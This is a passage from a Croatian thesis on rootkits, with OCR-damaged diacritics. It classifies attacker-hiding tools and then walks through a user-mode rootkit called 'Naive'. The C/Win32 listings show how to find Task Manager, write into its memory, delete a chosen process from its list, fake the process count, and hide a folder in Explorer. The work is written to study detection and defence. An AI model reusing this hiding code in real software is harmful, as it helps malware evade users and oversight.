stanja sustava (engl. snapshot). Nakon toga su u gost (putem ugradene mrezne kartice 1 Host-
only veze) prenesene sve Zeljene datoteke, izvrSila su se ispitivanja (primjerice, u gost je
ugraden zlo¢udni alat, pratio se njegov utjecaj na stanje sustava, iskuSane su metode detekcije
1 odstranjivanja alata iz sustava) i zatim je sustav vracen u prijasnje stanje, kako niti jedna
eventualno zaostala komponenta koriStenog koda ne bi imala utjecaja na daljnja ispitivanja.

U ispitivanjima su koriSteni brojni alati za analizu stanja sustava, za razvoj aplikacija,
antivirusni 1 sliéni programi i brojni drugi. Popis koriStenih alata nalazi se u poglavlju 10, au
tekstu ¢e uvijek uz alat biti navedena referenca na stranicu odakle se on moze preuzeti ili
kupiti.



5. Klasifikacija alata za prikrivanje prisutnosti napadaca

Tocna klasifikacija alata za prikrivanje prisutnosti napadaca zapravo i ne postoji, ve¢ se
razlikuje od izvora do izvora. Jednu mogucu klasifikaciju prema okruzenju u kojem alati
djeluju i vremenu u kojem djeluju predlozio je kolega Nikola Ivkovi¢ [11] te je na temelju te
klasifikacije nacinjena nesto opSirnija prikazana na slici 5.1.

Alati za prikrivanje
prisutnosti napadaca

Memorijski i
sustavno postojani

_ L

Temeljeni na Temeljeni na
virtualizaciji virtualizaciji

Nepostojani

"Standardni"

Slika 5.1: Klasifikacija alata za prikrivanje prisutnosti napadaca prema okruzenju u kojem djeluju i
vremenu aktivnosti

Iz gornjeg dijagrama vidljivo je da alati prema okruzenju i vremenu tijekom kojeg su aktivni
mogu biti podijeljeni na postojane i nepostojane.

Postojani su oni koji se nakon ponovnog pokretanja sustava (bilo resetiranja, bilo ponovnog
ukljuc¢ivanja) pokrecu zajedno sa sustavom i nastavljaju djelovati kao i prije pokretanja
sustava. Budu¢i da na neki nac¢in moraju osigurati svoje ponovno pokretanje, mehanizmi koji
im to omogucavaju mogu se nadzirati i na taj nain je moguce detektirati ovakvu vrstu alata
za prikrivanje prisutnosti napadaca u nekim slucajevima.

Nepostojani alati za prikrivanje prisutnosti napada¢a nakon gaSenja sustava i njegovog
ponovnog pokretanja ne mogu se ponovno pokrenuti, tj. gaSenjem sustava prestaje njihov
zivotni vijek (iako sam kod, odnosno dijelovi alata mogu ostati prisutni na sustavu u
neaktivnom stanju). Takvi alati mnogo se teze otkrivaju jer koriste vrlo visoku razinu
nevidljivosti u obavljanju svojih djelatnosti. Takoder, naknadna analiza sustava nemoguca je
u odredenim slucajevima jer se memorijski nepostojani alati u potpunosti uklanjaju ponovnim
pokretanjem sustava 1 time nestaju svi tragovi da je alat ikada bio prisutan na sustavu
(naravno, ukoliko autor samog alata nije bio nepazljiv i napravio nenamjernu pogresku koja bi
otkrila prisutnost alata na sustavu). No zbog svoje nepostojanosti i potencijalno kratkog
zivotnog vijeka (korisni¢ka rac¢unala se u pravilu dosta ¢esto iskljucuju i ponovno pokreéu, no



posluzitelji ostaju aktivni mjesecima) njihova "snaga" ponekad moze biti manja od
ucinkovitosti postojanih alata za prikrivanje prisutnosti napadaca.

I postojani i nepostojani alati za prikrivanje prisutnosti napadaca mogu biti vezani za
memoriju ili mogu biti vezani za sklopovlje racunala. Pod nazivom "memorija" misli se na
radnu memoriju, tvrdi disk i u rjedim slucajevima USB memorije i opticke diskove (koji su
zbog svoje prenosivosti potencijalno zanimljivi za prenoSenje zaraze, ali neprakticni kao
okruzenje u kojem se alat nastanio i odakle se pokrece).

Vecina dana$njih alata za prikrivanje prisutnosti napadaca vezana je za memoriju, bili oni
postojani ili nepostojani i upravo ¢e tim alatima biti posveéen najveci dio ovog rada te ¢e se i
prakti¢ni dio rada odnositi na takve alate.

Ipak, alati za prikrivanje prisutnosti napadaca vezani za sklopovlje nisu niSta manje zanimljivi
i niSta manje opasni. Stovise, njihova vezanost za sklopovlje i neovisnost o operacijskom
sustavu ¢ini ih vrlo nevidljivima i opasnima. Primjer postojanog alata za prikrivanje
prisutnosti napadaca koji je vezan za sklopovlje je alat koji se ugraduje u memoriju PCI
uredaja [12] ili alat koji je vezan za ACPI [13], dio BIOS-a koji je zaduzen za kontrolu
napajanja 1 snage 1 koji koristi vlastiti programski jezik AML (engl. ACPI Machine
Language).

Takoder su vrlo zanimljivi 1 alati za prikrivanje prisutnosti napadaca koji se temelje na
virtualizaciji. Primjer memorijski postojanog alata temeljenog na virtualizaciji je SubVirt
[14]. SubVirt se ugraduje u ciljno racunalo ispod operacijskog sustava samog ciljnog ra¢unala
i djeluje kao nadglednik virtualnog stroja (engl. VMM — Virtual Machine Monitor) pri ¢emu
je virtualni stroj upravo operacijski sustav ciljnog racunala. Budu¢i da je veza operacijski
sustav — hardver "prekinuta" samim alatom, SubVirt ima moguénost mijenjati i utjecati na
cjelokupni operacijski sustav ciljnog racunala koji uopée nije svjestan postojanja dodatno
umetnutog sloja.

Virtualizacijski alati za prikrivanje prisutnosti napadaca mogu biti vezani i za sklopovlje.
Primjer takvih alata su BluePill [15] 1 Vitriol [16]. Ti su alati vezani za sklopovlje u smislu da
ovise o virtualizacijskim na¢inima rada i instrukcijama samih procesora, a noviji procesori
proizvodaca Intel i AMD nude takve instrukcije i nac¢ine rada (AMD nudi AMD-V — engl.
AMD-Virtualization, dok Intel nudi VT-x — engl. Virtualization Technology). BluePill i
Vitriol alati (za razliku od SubVirt-a) imaju vrlo malen nadglednik virtualnog stroja (on se
kod ovakvih alata naziva hipervizor), a nacin djelovanja im je sli¢an kao 1 kod SubVirt-a,
samo $to nisu postojani, ve¢ nakon ponovnog pokretanja sustava postaju neaktivni.

Ova klasifikacija alata za prikrivanje prisutnosti napadaca nije jedina, no dobro obuhvaca
gotovo sve danas prisutne alate.

U daljnjem tekstu najvise ¢e rijeci biti o memorijski postojanim alatima. Memorijski postojani
alati (pritom nisu uzeti u obzir alati temeljeni na virtualizaciji jer se oni smatraju
"nestandardnima") mogu se podijeliti na one koji djeluju u korisnickom nacinu rada i one koji
djeluju u jezgrinom nacinu rada.

Kao §to se moze i pretpostaviti, na korisni¢koj razini je efikasnost alata manja jer se ne moze
kontrolirati svaki aspekt sustava, na raspolaganju je ogranic¢eni broj resursa, jezgrini objekti
(jezgrini procesi, sustavske dretve, imenovani cjevovodi, uredaji i dr.) uglavnom nisu
dostupni alatu i alat je znatno lakSe otkriti i ($to je jo§ vaznije) odstraniti sa sustava. Ipak,



ovakve je alate mnogo lakse napraviti nego alate koji rade u jezgrinom nacinu rada pa je to
osnovni razlog zasto ovakvi alati nisu tako rijetki. Takoder, kriticna pogreska koju je
nenamjerno napravio autor alata neée dovesti do nestabilnosti kompletnog sustava,
(ne)popularnog Blue Screen-a i time vrlo vjerojatno otkriti samu prisutnost alata na sustavu,
ve¢ ¢e samo dovesti do rusenja aplikacije, Sto moze proci nezapazeno. Medutim, iako je u
teoriji ovakve alate jednostavnije otkriti, kao $to ¢e biti opisano u radu, danasnje sigurnosne
aplikacije za¢udo nisu savrSeno uspjesne u otkrivanju takvih alata. Upravo je to bio jedan od
razloga za nastanak rada s ovom temom jer se mnogo vaznosti poklanja alatima koji djeluju u
jezgrinom nacinu rada (ti alati doista jesu mnogo moc¢niji i samim time "zanimljviji" i
napadacima 1 autorima sigurnosnog softvera) i zanemaruje se prisutnost zlo¢udnog koda u
korisni¢koj razini.

U jezgrinom nacinu rada napada¢evom alatu su na raspolaganju apsolutno svi prije navedeni
objekti sustava i napada¢ ima potpunu kontrolu nad operacijskim sustavom. Antivirusni i
drugi alati za otkrivanje zlo¢udnih programa moraju raditi u jezgrinom nacinu rada kako bi
mogli otkriti ovakve alate. No i tada valja uociti da su alati samo u ravnopravnom polozaju i
najcesce o umjesnosti napadaca, odnosno autora antivirusnog alata i snazi skrivanja odnosno
detekcije ovisi da li ¢e zlo¢udni alat biti otkriven ili ne. Ravnopravni polozaj ne znaci
automatsku detekciju, ve¢ viSe sposobnost detekcije, ako zloudni program nije previse
napredan.

Budu¢i da se u radu obraduje Intelova x86 arhitektura, na slici 5.2 prikazana je klasifikacija i
granice razina sigurnosti i privilegija pod kojima se neki kod izvodi.

Aplikacije korisnika
Upr. programi

Upr. programi
Jezgra

Slika 5.2: Razine privilegija i zastite u x86 arhitekturi



Pojedine razine privilegija (na gornjoj slici prikazane kao koncentricne kugle, a u
dvodimenzionalnom prostoru bi se radilo o koncentricnim kruznicama) nazivaju se prsteni
(engl. rings). Prsten jezgre predstavlja najve¢e moguce privilegije 1 naziva se prsten 0 (engl.
ring 0, zero ring). Nakon njega dolaze prsteni 1 1 2 koji su rezervirani za upravljacke
programe (npr. programe za graficku karticu, mreznu karticu) i na kraju dolazi najmanje
privilegirani prsten, onaj u kojem se nalaze sve korisnicke aplikacije i koji nosi oznaku prsten
3.

Treba napomenuti da je na slici prikazana originalna Intelova specifikacija, dok se konkretne
realizacije u pojedinim operacijskim sustavima razlikuju. U svim verzijama Windows
operacijskog sustava koriste se samo prsten 0 1 prsten 3, pri ¢emu se u prstenu () nalazi jezgra
sustava i svi upravljacki programi, a u prstenu 3 korisnicke aplikacije.

U nastavku ¢e biti obradeni alati za prikrivanje prisutnosti napadaca u korisnickom nacinu
rada. Tako oni nisu najrasireniji i najsofisticiraniji zlo¢udni alati ove vrste, njihova relativna
jednostavnost, ali i opasnost koju predstavljaju dovoljna su motivacija za njihovo
proucavanje. Ideja je da se alati opiSu onim redosljedom i s onim funkcionalnostima do kojih
bi (postupno razvijajuc¢i svoju ideju) mogao doc¢i napadac. Na taj nacin lakSe ¢e biti odrediti
klju¢ne elemente operacijskog sustava koje treba zastititi od djelovanja ovakvih alata.



6. Alati s korisnickim na¢inom rada kao podrucjem djelovanja

Kao $to je receno, ovakvi alati imaju ograni¢enu funkcionalnost jer djeluju na razini obi¢nih
aplikacija 1 nemaju potpuni pristup do svih dijelova operacijskog sustava. Takve je alate lakSe
otkriti i lakSe ih je odstraniti s racunala, no to nipoSto ne znaci da su ovakvi alati bezopasni i
da o njima ne treba brinuti. Unato¢ ogranienjima aplikacijske razine, i ovakvi alati (uz
pretpostavku da imaju administratorske privilegije) mogu se vrlo dobro i uspje$no sakriti ¢ak i
od iskusnog korisnika.

Za pocetak ¢emo se postaviti u ulogu napadaca koji nema previse iskustva u izradi zlocudnih
programa 1 ne poznaje detaljno operacijski sustav 1 njegov programski model.

Pri otkrivanju zlocudnih programa i nezeljenih podataka na svome racunalu, obi¢an korisnik
se pouzdaje prije svega u antivirusni program i ostale programe koji otkrivaju zlo¢udne
aktivnosti. Mnogi korisnici medutim nisu svjesni Cinjenice da se antivirusni programi
oslanjaju na antivirusne definicije i potpise, tj. datoteke koje (lai¢ki receno) sadrzavaju mali
odsjecak kdda (ili sazetak odsjecka koda) zlo¢udnog programa. Ako za neki virus ili drugi
zlo¢udni program nije prisutna odgovarajuca definicija, tada antivirusni program takav kod
ne¢e moci otkriti. Autori zlo¢udnih programa smisSljaju razliCite tehnike izbjegavanja
antivirusnih programa i nazalost, u tome vrlo ¢esto i uspijevaju, pogotovo ako nije zarazen
veliki broj racunala, tj. ako zlo¢udni kod nije previSe raSiren. Neke aktivnosti, koje bi se
itekako mogle okarakterizirati kao zlocudne 1 nezeljene, prolaze sasvim nezapazeno od strane
antivirusnih 1 drugih programa za zaStitu, a to ¢e biti demonstrirano u nastavku. Osim tih alata
koji predstavljaju nuznu zaStitu, korisnikov osnovni uvid u stanje sustava daje ugradeni alat
Windows Task Manager. Takoder, koriStenjem Windows Explorer-a korisnik moze uociti
neke datoteke i direktorije koje nije sam stvorio (niti su dio nekog poznatog programa koje je
korisnik instalirao) i to moze pobuditi sumnju korisnika da se na njegovom ra¢unalu nalazi
zlo¢udni program.

Na$§ prvi korak u ulozi napadafa je sakriti proces u listi procesa i odgovarajuce
direktorije/datoteke od pogleda korisnika, tocnije, sakriti proces u ispisu Task Managera i
sakriti direktorij u Exploreru. Iako kao naivni napada¢ nemamo puno znanja o operacijskim
sustavima 1 ne poznajemo interne strukture sustava, postavljajuci si za cilj skrivanje procesa i
direktorija i uz malo znanja mozemo posti¢i relativno mnogo.

Promatraju¢i Task Manager aplikaciju, lako je uociti da se radi o obi¢nom prozoru u kojem se
ispisyju aktivni procesi na sustavu zajedno s nekim drugim interesantnim informacijama.
Zanima nas kako se tocno ti procesi ispisuju, tj. mozemo li nekako iz te liste obrisati nas
(zloéudni) proces?

lako je teorijska pozadina prozora u operacijskom sustavu Windows daleko izvan opsega
ovog teksta, vazno je napomenuti da su prozori u osnovi objekti koji medusobno komuniciraju
porukama. Ovisno o primljenim porukama, svaki prozor moze promijeniti svoje dimenzije,
svoj oblik, vidljivost, moze iscrtati zeljene podatke, obrisati neke podatke, moze se zatvoriti i
sli¢no. Svaki prozor takoder moZe imati jedan ili viSe prozora djece koji imaju isti
identifikator procesa kao i glavni prozor, no najcesce se izvode u zasebnim dretvama. Svaki
prozor identificiran je svojim imenom i/ili svojom klasom. Klasa prozora djeteta naravno
moze biti potpuno druk¢ija od klase glavnog prozora. Takoder, kao i za sve ostale objekte



operacijskog sustava Windows, postoji vrlo bogat skup dokumentiranih funkcija za rad s
prozorima.

Znaju¢i neke osnovne teorijske aspekte prozora, mozemo iskoristiti alat Spy++ (dio alata koji
dolaze uz Visual Studio 2005) ili neSto sofisticiraniji alat Winspector [4a] kako bismo vidjeli
strukturu prozora Task Manager, da li postoje prozori djeca, koje poruke Task Manager
razmjenjuje s ostalim prozorima i slicne vazne informacije.

Na slici 6.1 prikazan je ispis Spy++ alata za Task Manager.

"+ Microsoft Spy++ - [Windows 1] =10] |

[ Spy Tree Search View Window Help _Iﬁllﬂ

O® o | 5 x #a s &3
B Window 075E0484 "Windows Task Manager” #32770 (Dialog) ;I
D Window 00010DE2 " #32770 (Dialog) 1
E|_ Window 00010006 "" #32770 (Dialog)
. &+ (Window 00010DDE "Processes” SysListView32)

Lo Window CODTODDA ™ SysHeaderd2

----- — Window 00010DDE "&Show processes from all users” Bu
t™ Window 00010DED "4End Process" Button
ElD Window 000C0ASE "Tab1" SysTabControl32
L™ Window DD010EBA " msctls_updown32
----- M (Window 00040002 "Processes: 92" msctls_statusbar32)
---_ Window 000500D0 " #32770 (Dialog)
---_ Window 00010E6C " #32770 (Dialog)

- Window 00010E78 " #32770 (Dialog) -
1| | r
For Help, press F1 L

Slika 6.1: Windows Task Manager i pripadni prozori u Spy++
alatu

Na slici su zaokruzeni zanimljivi prozori djeca unutar koji pripadaju Task Manager alatu.
Prozor u kojem se ispisuju procesi ima ime Processes, a klasa mu je SysListView32. Ta klasa
predstavlja sve one prozore koji imaju svoje podatke organizirane kao obi¢nu listu koja se
moze sortirati i s kojom se mogu provoditi razliite operacije, primjerice dodavati ili brisati
elemente iz liste (funkcije i pripadne podatkovne strukture dobro su opisane u dokumentaciji).

Osim tog prozora, zanimljiv nam je i statusni prozor u kojem se ispisuje broj aktivnih procesa
na sustavu. Taj prozor je klase statusbar32 i vazan je zbog toga Sto ¢emo taj broj morati
umanjiti za 1 nakon pokretanja naSeg zlocudnog procesa, kako bi prikrili njegovo djelovanje
na sustavu.

Ono $to na$ program najprije mora pronaci jest prozor Windows Task Manager-a koji mora
biti aktivan. To se postize sljede¢im odsjeCkom koda u ispisu 6.1 (cjelokupni kod nalazi se u
direktoriju src/UserMode/Naive).



hTaskWindow = FindWindow (NULL, "Windows Task Manager");

if (hTaskWindow == NULL)
{
//prijavi gredku

return -1;

Ispis 6.1: Trazenje Task Manager prozora

Nakon pronalaska glavnog prozora koji je identificiran nraskwindow rucicom (engl. handle),
moramo pronaéi odgovarajuce prozore djecu koje smo identificirali pomocu Spy++ alata. To
postizemo kodom u ispisu 6.2.

EnumChildWindows (hTaskWindow, TraziProces, NULL);

//TraziProces Jje Callback funkcija koja se poziva pri enumeraciji prozora djece
BOOL CALLBACK TraziProces (HWND hChild, LPARAM 1lParam)
{

GetWindowText (hChild, imeDjeteta, 128);
GetClassName (hChild, imeKlase, 128);

//ako se prozor zove Processes 1 tip mu je SysListView, onda smo upravo na prozoru u
//kojem je lista procesa

if (!strcmp (imeDjeteta, "Processes”) && !strcmp (imeKlase, "SysListView32"))
{

//buduc¢i da ¢e se ovo vrtiti u petlji, moramo stvoriti zasebnu dretvu
hHideProcThread = CreateThread (NULL, 0, SakrijProces, hChild, 0, NULL);

Ispis 6.2: Trazenje odgovarajuceg prozora u kojem se ispisuju procesi

Kada je naden odgovaraju¢i prozor koji sadrzava listu procesa, stvaramo novu dretvu
identificiranu ru¢icom hHideProcThread koja ¢e pro¢i kroz listu procesa SysListView32 i
izbrisati onaj po nasoj zelji i pozivamo funkciju sakrijProces ().

Kod ovakvog nacina "brisanja procesa" iz liste javljaju se dva problema. Prvi i klju¢ni
problem je vremenske prirode. Lista procesa obnavlja se svake dvije sekunde ukoliko je
brzina osvjezavanja u opcijama Task Manager-a postavljena na normal, §to je uglavnom
slucaj. Proces koji se briSe mora se dakle brisati u ovisnosti o brzini osvjezavanja. Ako se
brise nakon vremena manjeg od onog koje je odredeno brzinom osvjezavanja, Zeljeni proces
se uopc¢e nece vidjeti u listi procesa i ne¢e do¢i do njegovog brisanja, tj. lista ¢e ostati
netaknuta ili ¢e se (ukoliko se brisanje obavlja po indeksu elementa liste, kao Sto je slucaj u
naSem kodu) obrisati neki proces koji je u listi blizu procesa koji se zelio obrisati, Sto svakako
nije zeljeno ponaSanje. Ako se briSe nakon veceg vremenskog intervala, tada ¢e proces koji se
briSe jedno kratko vrijeme ipak biti vidljiv i to moZe pobuditi korisnicku sumnju u postojanje
nezeljenog procesa. Ove vremenske operacije vrlo su osjetljive i pokazat ¢e se da u opéenitom
slucaju problemi vezani uz njih nisu rjesivi.

Drugi problem je programerske prirode i pojavljuje se zbog toga Sto je nas proces odvojen od
procesa Task Manager-a. Prilikom komunikacije porukama, funkcije uglavnom vracaju



rezultate u meduspremnicima koji su lokalni za proces koji prima poruku i ne vide se u
procesu koji Salje poruku. Zbog toga se u samom Task Manager procesu mora alocirati
memorijski prostor preko kojega ¢e se prenositi rezultati poruka. Zauzimanje memorije u
adresnom prostoru drugog procesa moguce je jedino ako taj proces sam to dozvoli, a Task
Manager proces dozvoljava pisanje i Citanje po svom adresnom prostoru (nije sasvim jasno
zasto).

Funkcija koja obavlja samo "brisanje" procesa prikazana je u ispisu 6.3.

DWORD WINAPI SakrijProces (LPVOID lParam)
{
HWND hChild = (HWND) lParam;
DWORD dPID = 0;
LVITEM *listItem, item;
TCHAR *procName;
char buf[260];

//kako ne bi obrisali krivi proces, najprije se na$ program mora pojaviti u
//1listi procesa, a tek onda nastavljamo s brisanjem

Sleep(1200);

//dohvati PID task manager procesa
GetWindowThreadProcessId (hChild, &dPID);

if (hTaskManagerProc == NULL)

{
//ako neka druga funkcija nije otvorila
//TaskManagerProces, onda ¢emo ga mi otvoriti

hTaskManagerProc = OpenProcess (PROCESS_ VM READ | PROCESS VM WRITE |\
PROCESS_VM OPERATION, FALSE, dPID);

if (hTaskManagerProc == NULL)

{
//nismo uspjeli otvoriti Task manager proces
return false;

//alociramo memoriju za element liste i za ime procesa u procesnom
//adresnom prostoru task managera

listItem = (LVITEM *) VirtualAllocEx (hTaskManagerProc, NULL,\
sizeof (LVITEM), MEM_COMMIT, PAGE_READWRITE);
procName = (TCHAR *) VirtualAllocEx (hTaskManagerProc, NULL, 260*sizeof (TCHAR), \

MEM COMMIT, PAGE READWRITE) ;
item.cchTextMax = 260;

//prolazit ¢emo kroz cijelu listu pa nam Jje potreban broj procesa
countProc = SendMessage (hChild, LVM GETITEMCOUNT, 0, O0);

while (true)
{
for(int 1 = 0; 1 < countProc; i++)
{
item.iSubItem = 0;
item.pszText = procName;
//zapisi strukturu preko koje c¢emo dohvacati podatke u adresni
//prostor task managera
WriteProcessMemory (hTaskManagerProc, listItem, &item,\
sizeof (LVITEM), NULL);



//dohvati podatke o trenutnom elementu liste (elementu

//s indeksom i)
SendMessage (hChild, LVM GETITEMTEXT, (WPARAM) i, (LPARAM) listItem);

//dohvati ime tog elementa (procesa)
ReadProcessMemory (hTaskManagerProc, procName, buf, 260, NULL);

//ako se radi o procesu kojeg zelimo sakriti
if (!strcmp (buf, proces))
{

//budué¢i da element ostaje na toj poziciji, neéemo vise
//prolaziti kroz cijelu listu,ve¢ ¢emo brisati isti element

while (true)

{
/* najveéi je problem u osvjezavanju liste procesa,
to nekako moramo sprijeciti.
To se ne moze jednostavno sprijec¢iti pa je zato
najbolje da vr$imo uzastopno pauziranje i
pokretanje task managera, jer je to najbolja
sinkronizacija sa stvarnim osvjeZavanjem koju

mozemo posticéi */

//signaliziraj da si obrisao proces i da funkcija
//koja aZurira broj moZe smanjiti broj procesa za 1

SetEvent (hEvent) ;

//neka task manager radi normalnom brzinom -

//osvjezava svake 2 sek
SendMessage (hTaskWindow, WM _COMMAND, uNormalSpeed,\

0);

//odspavaj 2.1 sek
Sleep(2100);

//obridi element i
SendMessage (hChild, LVM DELETEITEM, (WPARAM) i, 0);

//pauziraj task manager
SendMessage (hTaskWindow, WM COMMAND, uPauseUpdate,\
0)s

}

//ako nema doticnog procesa u listi, onda odspavaj 1 sek

Sleep (1000);

//obrisi zauzetu memoriju
VirtualFreeEx (hTaskManagerProc, listItem, O, MEM RELEASE);
VirtualFreeEx (hTaskManagerProc, procName, O, MEM RELEASE);

return true;

Ispis 6.3: Funkcija za brisanje zeljenog procesa iz liste u prozoru Task Manager-a

lIako je kdd dobro komentiran, neke dijelove ipak treba detaljnije razmotriti. Prije svega valja
naglasiti da se nikakvo brisanje stvarnih procesa ne dogada, ve¢ se samo zapis procesa brise



iz liste, sam proces naravno i dalje postoji. Prvo ¢ekanje izvedeno sieep() funkcijom
potrebno je kako bi se najprije na§ program pojavio u listi procesa i tek onda mozemo
zapoceti s pretragom 1 brisanjem. Kada tog ¢ekanja ne bi bilo, postojala bi moguénost da se
brisanje Zeljenog procesa obavi prije pojave naSeg procesa (procesa u kojem se izvodi upravo
navedeni kdd za brisanje). Ako proces koji se briSe ima indeks 7, u beskonacnoj petlji bi se
¢itavo vrijeme brisao proces s indeksom i. No nakon pojave nasSeg procesa u listi i u slucaju
da se on u listi pojavio prije procesa koji se brise, proces koji se briSe sada ima indeks i+/ i
umjesto tog procesa u listi ¢e se brisati neki drugi proces, §to nije zeljeno ponasanje
programa. Zato je izvedeno ¢ekanje od 1.2 sekunde kako bi se naSem procesu dala moguénost
da se pojavi u listi prije nego zapo¢ne brisanje. Cak i uz ovo &ekanje, u sludaju velikog
opterecenja sustava, na§ se proces nece pojaviti u listi u vremenu manjem od 1.2 sekunde 1
program nece raditi ispravno! No vece ¢ekanje daje korisniku vremenski prozor unutar kojeg
moze vidjeti aktivnost "nezeljenog" procesa, a to smo Zeljeli sprijeciti. Polako na vidjelo
izlaze prvi nedostaci ovog pristupa.

U kodu se dalje rezervira Zeljeni memorijski prostor wunutar Task Manager procesa i
pretrazuje se lista procesa u beskonacnoj petlji. Unutar beskonacne petlje prolazimo kroz
cijelu listu procesa i ako traZeni proces nije naden, prolazimo od pocetka. Razlog tome je §to
se trazeni proces u listi moze pojaviti s nekim kasnjenjem ili tek kasnije tijekom rada Task
Manager-a 1 moramo uzeti u obzir i takve situacije. U slu¢aju da smo nasli proces koji Zelimo
obrisati, tada viSe ne¢emo pretrazivati kompletnu listu, ve¢ ¢emo brisati samo element na toj
poziciji, a to je upravo trazeni proces. Zbog sinkronizacijskih problema najbolji moguci
pristup je da se osvjezavanje liste procesa zaustavi, zatim da se brzina osvjezavanja postavi na
normalnu, pozove funkcija sieep() na dvije sekunde (jer je to vrijeme osvjezavanja same
liste) 1 zatim izbriSe odgovaraju¢i zapis te se cijeli postupak ponovi. Kako bismo mogli
zaustavljati i ponovo pokretati osvjezavanje, moramo dohvatiti odgovarajuce elemente u
izborniku osnovnog prozora Task Manager procesa, $to je prikazano u ispisu 6.4.

HMENU hMenu = GetMenu (hTaskWindow) ;

if (hMenu == NULL)

{
//nesto o¢ito ne valja, ovo se zaista ne bi trebalo dogoditi
return -1;

//0 je file, 1 je options, 2 je view, to nam treba za zaustavljanje
HMENU hSubMenu = GetSubMenu (hMenu, 2);
if (hSubMenu == NULL)
{
//kao 1 gore, ovo je nedto ozbiljno lose

return -1;

//0 je refresh now, 1 je updateSpeed
HMENU hUpdateSpeedMenu = GetSubMenu (hSubMenu, 1);
if (hUpdateSpeedMenu == NULL) return -1;

//doznaj koji je ID za pauzu i za normalnu brzinu
uPauseUpdate = GetMenultemID (hUpdateSpeedMenu, 3);



uNormalSpeed = GetMenultemID (hUpdateSpeedMenu, 1);

Ispis 6.4: Trazenje odgovarajucih elemenata koji omogucavaju zaustavljanje i pokretanje
osvjeZavanja

Nakon §to smo obrisali proces, potrebno je jo§ samo azurirati broj procesa koji se ispisuje u
statusnoj traci. Kao $to je vidljivo na slici Spy++ programa, statusna traka je takoder obican
prozor, pa se prilikom pretrazivanja prozora djece glavnog prozora procesa Task Manager
ispituje da li je pronaden takav prozor:

if (!strcmp (imeKlase, "msctls statusbar32"))
{

AzurirajBrojProcesa (hChild) ;

Ispis 6.5: Akcija u slucaju da je trenutni prozor dijete
upravo statusna traka

Kljuéni dio funkcije AzurirajBrojProcesa() dan je u ispisu (ostatak je vrlo slican funkciji
SakrijProces())

WaitForSingleObject (hEvent, 7000);

while (true)
{

//string u status baru ima oblik "Processes: <broj procesa>", pa
//stvaramo takav string

sprintf (buf, "Processes: %d", countProc-1);

//zapi8i to u alocirani buffer
WriteProcessMemory (hTaskManagerProc, procNum, buf, 128, NULL);

//i postavi tekst na taj koji smo stvorili
SendMessage (hChild, SB_SETTEXT, 0, (LPARAM) procNum);

//to ponavljaj svakih 50ms. Manja vrijednost bi uzela viSe procesora
// (petlja bi se stalno vrtila i niti Jjedna druga dretva ne bi dobila
//%ansu da se izvede), a vecla bi vrijednost bila vidljiva u task
//manageru kao treperenje

Sleep(50);

Ispis 6.6: Azuriranje ukupnog broja procesa u sustavu

Na pocetku funkcije cekamo na dogadaj (engl. event) API funkcijom waitForsingleobject ().
To je potrebno kako se broj procesa ne bi smanjio prije nego je stvoren proces u kojem se
izvrSava nas$ kod (tada bi korisnik mogao vidjeti da je broj procesa za jedan manji od procesa



koji su prisutni u listi, iako je u praksi to vrlo malo vjerojatno zbog najcesée velikog broja
procesa u listi 1 zamornog ru¢nog brojanja procesa). U funkciji sakrijpProces() dotini se
dogadaj s ru€icom nEvent postavlja u aktivno stanje nakon Sto se obriSe Zeljeni proces i moze
se zapoceti s azuriranjem broja procesa. Azuriranje broja svodi se na postavljanje naziva same
statusne trake (koji ima oblik Processes: broj procesa) na zeljenu vrijednost. Azuriranje
moramo vrsiti konstantno 1 relativno brzo jer bi se inace uocilo treperenje vrijednosti i to bi
pobudilo sumnju korisnika. S druge strane, ne smijemo vrSiti aZuriranje bez djelomicnog
zaustavljanja dretvi (funkcijom sieep()) jer bi zauzece procesora i zauzimanje resursa bilo
preveliko, pa je vrijeme neaktivnosti postavljeno na 50 ms. Program je nazvan Naive jer se
radi o vrlo naivnom pristupu (razjasSnjeno dalje u tekstu), a odabir procesa koji se skriva
odreduje se konfiguracijskom datotekom config.txt koja u prvom stupcu sadrzava ime procesa
koji se skriva, a u drugom stupcu nalazi se ime direktorija koji se zeli sakriti.

Primjerice, ako se zeli sakriti proces notepad.exe 1 direktorij Proba konfiguracijska datoteka
ima izgled:

notepad.exe Proba

Skrivanje direktorija se nasre¢u svodi na potpuno jednake korake kao i u slucaju skrivanja
procesa jer se i datoteke prikazuju u prozoru klase SysListView32 (Sto se moze ustanoviti
koristenjem Spy++ programa kao i za slucaj procesa). Identi¢no se postupa s datotekama jer
razlika izmedu tih objekata u samoj listi ne postoji: svi objekti su samo elementi liste. Za
potrebe demonstracije skriva se samo jedan odabrani direktorij.

Funkcije za skrivanje direktorija su prakticki identi¢ne kao i funkcije za skrivanje procesa i
vrlo se lako mogu razumijeti analizom priloZzenog kdda. Potrebno je samo napomenuti da
Windows Explorer moze imati glavni prozor razliCitih klasa, ovisno o tome da li je pokrenut
dvoklikom na My Computer ili je pokrenut kraticom WinKey + E. O tome se brine sljedeci
kdd na ispisu 6.7.

//kada se explorer otvori s WinKey + E ili sa Explore funkcijom,
//onda on pripada klasi ExploreWClass
hExplorer = FindWindow ("ExploreWClass", NULL);

if (hExplorer == NULL)

{
//ako takav prozor nije otvoren, onda ¢emo isprobati da 1i
//je otvoren explorer preko My Computer, tada on ima
//CabinetWClass klasu
hExplorer = FindWindow ("CabinetWClass", NULL) ;

if (hExplorer == NULL)
{
//ako ni on nije otvoren, onda zaista izlazimo

return -1;

Ispis 6.7: Trazenje odgovarajuceg Explorer prozora



Neka je konfiguracijska datoteka upravo gore navedenog oblika. Najprije ¢e biti prikazano
stanje direktorija Naive u kojem se nalazi direktorij Proba prije pokretanja programa Naive, a
zatim nakon pokretanja. Takoder, bit ¢e naznacene i promjene u ispisu Task Manager procesa
nakon pokretanja programa Naive uz aktivan proces notepad.exe koji se "briSe" iz liste
procesa. Prije pokretanja programa Naive.exe stanje je prikazano na slici 6.2.
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Slika 6.2: Stanje prije pokretanja Naive programa
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Slika 6.3: Stanje nakon pokretanja programa Naive

Nakon pokretanja programa stanje je prikazano na slici 6.3.

Na slikama su crvenim okvirima oznaeni kljucni dijelovi. Na drugoj slici vidljiv je
"nestanak" datoteke Proba — datoteka nije uistinu nestala, ve¢ je samo obrisana iz prikaza kao
element liste. Takoder, iako je jasno vidljivo da je aplikacija Notepad pokrenuta, notepad.exe
proces nije vidljiv u listi procesa jer je izbrisan od strane Naive programa (proces Naive.exe
prisutan je u listi procesa). Takoder, broj procesa na sustavu ostao je jednak prije i poslije
pokretanja Naive programa, kako se ne bi uocila razlika uzrokovana "izostankom"
notepad.exe procesa.

